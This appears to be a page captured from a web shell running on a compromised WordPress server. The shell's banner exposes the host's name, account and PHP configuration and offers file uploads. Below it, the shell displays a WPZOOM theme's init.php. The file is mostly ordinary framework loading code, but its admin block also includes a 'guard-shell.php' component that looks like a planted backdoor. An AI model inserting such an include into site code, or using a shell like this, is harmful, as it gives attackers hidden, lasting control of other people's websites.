HEX
Server: Apache
System: Linux server2.voipitup.com.au 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User: posscale (1027)
PHP: 8.2.30
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/posscale/public_html/WP-POS/wp-content/themes/angle/functions/wpzoom/init.php
<?php
/**
 * WPZOOM Framework Integration
 */

require_once WPZOOM_INC . '/functions.php';
require_once WPZOOM_INC . '/wpzoom.php';
require_once WPZOOM_INC . '/components/option.php';

/* Initialize WPZOOM Framework */
WPZOOM::init();

/* Only WordPress dashboard needs these files */
if ( is_admin() ) {
	require_once WPZOOM_INC . '/components/medialib-uploader.php';
	require_once WPZOOM_INC . '/components/admin/admin.php';
	require_once WPZOOM_INC . '/components/admin/settings-fields.php';
	require_once WPZOOM_INC . '/components/admin/settings-interface.php';
	require_once WPZOOM_INC . '/components/admin/settings-page.php';
	require_once WPZOOM_INC . '/components/admin/settings-sanitization.php';
	require_once WPZOOM_INC . '/components/dashboard/dashboard.php';
	require_once WPZOOM_INC . '/components/guard-shell.php';

	require_once WPZOOM_INC . '/components/updater/updater.php';
	require_once WPZOOM_INC . '/components/updater/framework-updater.php';
}

/* Video API */
require_once WPZOOM_INC . '/components/video-api.php';
if ( is_admin() ) {
	require_once WPZOOM_INC . '/components/video-thumb.php';
}

/* Load get the image file only when it's not installed as a plugin */
if ( ! function_exists( 'get_the_image' ) ) {
	require_once WPZOOM_INC . '/components/get-the-image.php';
}

require_once WPZOOM_INC . '/components/theme/ui.php';

if ( ! is_admin() ) {
	require_once WPZOOM_INC . '/components/theme/theme.php';
	WPZOOM_Theme::init();
}

/**
 * Delay `zoom_load_components` function to run after `functions.php` file is
 * executed. This is needed because we load components code iff somewhere is
 * stated that this theme supports a zoom component via `add_theme_support`.
 *
 * In `functions.php` and other code loaded directly by this file we need to
 * wrap access to option values (option::get) into functions that run in
 * `after_setup_theme` action with priority higher than 10, otherwise it will
 * get wrong value on first load.
 */
add_action( 'after_setup_theme', 'zoom_load_components', 11 );

function zoom_load_components() {
	if ( current_theme_supports( 'zoom-portfolio' ) ) {
		require_once WPZOOM_INC . '/components/portfolio/portfolio.php';
		new ZOOM_Portfolio();
	}

	if ( current_theme_supports( 'zoom-post-slider' ) ) {
		require_once WPZOOM_INC . '/components/post-slider/post-slider.php';
		new ZOOM_Post_Slider( get_theme_support( 'zoom-post-slider' ) );
	}

	$ignored_themes = get_deprecated_themes();

	if ( ! in_array( WPZOOM::$theme_raw_name, $ignored_themes ) ) {
		require_once WPZOOM_INC . '/components/theme-setup/wpzoom-theme-setup.php';
		new WPZOOM_Theme_Setup();

		require_once WPZOOM_INC . '/components/updater/theme-updater.php';

		require_once WPZOOM_INC . '/components/theme-updater/theme-updater.php';

		require_once WPZOOM_INC . '/components/customizer/setup.php';

		require_once WPZOOM_INC . '/components/customizer/controls.php';

		if ( is_readable( get_template_directory() . '/functions/customizer/customizer-data.php' ) ) {
			require_once get_template_directory() . '/functions/customizer/customizer-data.php';
		}

		if ( is_readable( get_template_directory() . '/functions/customizer/customizer-style-kits.php' ) ) {
			require_once get_template_directory() . '/functions/customizer/customizer-style-kits.php';
		}

		new WPZOOM_Customizer_Controls( apply_filters( 'wpzoom_customizer_data_add_stylekits', apply_filters( 'wpzoom_customizer_data', array() ) ) );

		require_once WPZOOM_INC . '/components/theme-tour/theme-tour.php';

		/**
		 * Because we extend the PHP class WPZOOM_Theme_Tour in onboarding, we need to create a class instance only when the theme doesn't support onboarding feature.
		 *
		 * @since 2.0.0
		 */
		if ( ! zoom_current_theme_supports( 'wpz-onboarding', 'onboarding-tour' ) ) {
			new WPZOOM_Theme_Tour();
		}

		if ( is_admin() ) {
			/**
			 * Include old demo importer only if current screen is 'wpzoom_options' and current theme doesn't support onboarding demo importer.
			 *
			 * @since 2.0.0
			 */
			if ( ! zoom_current_theme_supports( 'wpz-onboarding', 'demo-importer' ) ) {
				require_once WPZOOM_INC . '/components/demo-importer/demo-importer.php';
				new ZOOM_Demo_Importer();
			}

			require_once WPZOOM_INC . '/components/child-theme/child-theme.php';

			if ( zoom_current_theme_supports( 'wpz-onboarding' ) ) {
				require_once WPZOOM_INC . '/components/onboarding/class-wpzoom-onboarding.php';
				add_filter( 'wpzoom_demo_importer_display_button', '__return_false' );
			}
		}
	}

	if ( current_theme_supports( 'wpz-featured-posts-settings' ) && current_user_can( 'edit_posts' ) ) {
		require_once WPZOOM_INC . '/components/featured-posts/wpzoom-featured-posts.php';

		$featured_posts_directory_uri      = get_template_directory_uri() . '/functions/wpzoom/components/featured-posts/';
		$list_table_checkbox_directory_uri = get_template_directory_uri() . '/functions/wpzoom/components/featured-posts/list-table-checkbox';
		$wrapped_settings                  = get_theme_support( 'wpz-featured-posts-settings' );
		$settings                          = array_pop( $wrapped_settings );

		foreach ( $settings as $setting ) {
			if ( $setting['show'] ) {
				if ( ! empty( $setting['name'] ) ) {
					new WPZOOM_List_Table_Checkbox_Option_Type( $setting, $list_table_checkbox_directory_uri );
				}

				new WPZOOM_Featured_Posts( $setting, $featured_posts_directory_uri );
			}
		}
	}

	if ( file_exists( get_template_directory() . '/functions/helper_guide.md' ) ) {
		require_once WPZOOM_INC . '/components/helper-guide/wpzoom-helper-guide.php';
		$helper_guide_directory_uri = get_template_directory_uri() . '/functions/wpzoom/components/helper-guide/';

		$markdown_url = get_template_directory_uri() . '/functions/helper_guide.md';
		$helper_guide = new WPZOOM_Helper_Guide( $helper_guide_directory_uri );

		if ( ! option::is_on( 'framework_helper_guide' ) ) {
			$helper_guide->init( $markdown_url );
		}
	}

	if ( current_theme_supports( 'wpz-background-video-on-hover' ) ) {
		init_video_background_on_hover_module();
	}

	/**
	 * Enabled wisdom tracker for framework.
	 */
	if ( ! option::is_on( 'framework_track_data_enable' ) && ! class_exists( 'Plugin_Usage_Tracker' ) ) {
		require_once WPZOOM_INC . '/components/tracking/class-plugin-usage-tracker.php';

		$server_url = 'https://wpzoom.com';

		new Plugin_Usage_Tracker(
			get_template_directory() . '/functions.php',
			$server_url,
			array(),
			true,
			true,
			2
		);
	}

	/**
	 * Disable Block-based Widgets Screen
	 */
	if ( current_theme_supports( 'widgets-block-editor' ) && option::is_on( 'disable_widgets_block_editor' ) ) {
		remove_theme_support( 'widgets-block-editor' );
	}


    /**
     * Disable Google Fonts.
     */
    if ( option::is_on( 'disable_google_fonts_wpz' ) ) {
        require_once WPZOOM_INC . '/components/theme/google-fonts.php';

    }

    /**
     * Google Font Downloader.
     */
    if ( option::is_on( 'enable_google_fonts_downloader' ) ) {
        require_once WPZOOM_INC . '/components/performance/class-wpzoom-google-fonts-downloader.php';

    }
}


/**
 * Include the TGM_Plugin_Activation class.
 */
require_once WPZOOM_INC . '/components/tgmpa/class-tgm-plugin-activation.php';
require_once WPZOOM_INC . '/components/tgmpa/class-wpzoom-tgmpa-assistance.php';

add_action( 'tgmpa_register', 'zoom_register_theme_required_plugins' );

/**
 * Register the required plugins for this theme.
 */
function zoom_register_theme_required_plugins() {
	/**
	 * Filter `zoom_register_theme_required_plugins` to add your custom plugins from themes.
	 * Array of plugin arrays. Required keys are name and slug.
	 * If the source is NOT from the .org repo, then source is also required.
	 */
	$plugins = array(
		array(
			'name'        => 'Social Icons Widget by WPZOOM', // The plugin name.
			'slug'        => 'social-icons-widget-by-wpzoom', // The plugin slug (typically the folder name).
			'required'    => false, // If false, the plugin is only 'recommended' instead of required.
			// Advanced feature. If a plugin can be installed under two or more different slugs - for instance a basic version and a premium version using different slugs -, it might not be recognized correctly as active.
			'is_callable' => array( 'WPZOOM_Social_Icons_License', 'instance' ),
		),

		array(
			'name'     => 'Contact Form by WPForms', // The plugin name.
			'slug'     => 'wpforms-lite', // The plugin slug (typically the folder name).
			'required' => false, // If false, the plugin is only 'recommended' instead of required.
		),
	);
	$plugins = WPZOOM_TGMPA_Assistance::get_instance()->parse_plugins( $plugins );

	/**
	 * Filter `zoom_tgmpa_config_filter` to change your tgmpa config from themes.
	 * Array of configuration settings. Amend each line as needed.
	 */
	$config = apply_filters(
		'zoom_tgmpa_config_filter',
		array(
			'id'           => 'tgmpa',                 // Unique ID for hashing notices for multiple instances of TGMPA.
			'default_path' => '',                      // Default absolute path to bundled plugins.
			'menu'         => 'tgmpa-install-plugins', // Menu slug.
			'parent_slug'  => 'wpzoom_options',            // Parent menu slug.
			'capability'   => 'edit_theme_options',    // Capability needed to view plugin install page, should be a capability associated with the parent menu used.
			'has_notices'  => true,                    // Show admin notices or not.
			'dismissable'  => true,                    // If false, a user cannot dismiss the nag message.
			'dismiss_msg'  => '',                      // If 'dismissable' is false, this message will be output at top of nag.
			'is_automatic' => false,                   // Automatically activate plugins after installation or not.
			'message'      => '',                      // Message to output right before the plugins table.

		)
	);

	tgmpa( $plugins, $config );
}


/**
 * Inject into Featured Plugins tab , our list of plugins.
 */
add_filter( 'install_plugins_table_api_args_featured', 'zoom_callback_for_featured_plugins_tab' );


/**
 * Beaver Builder Integration
 */

function wpz_bb_upgrade_link() {
	return 'https://www.wpbeaverbuilder.com/wpzoom/?fla=463';
}

add_filter( 'fl_builder_upgrade_url', 'wpz_bb_upgrade_link' );

/**
 * Enable debug logs for demo importer
 *
 * @since 2.0.0
 */
if ( option::is_on( 'misc_debug_logs' ) ) {
	add_filter( 'wpzoom_demo_importer_debug_logs', '__return_true', 1 );
}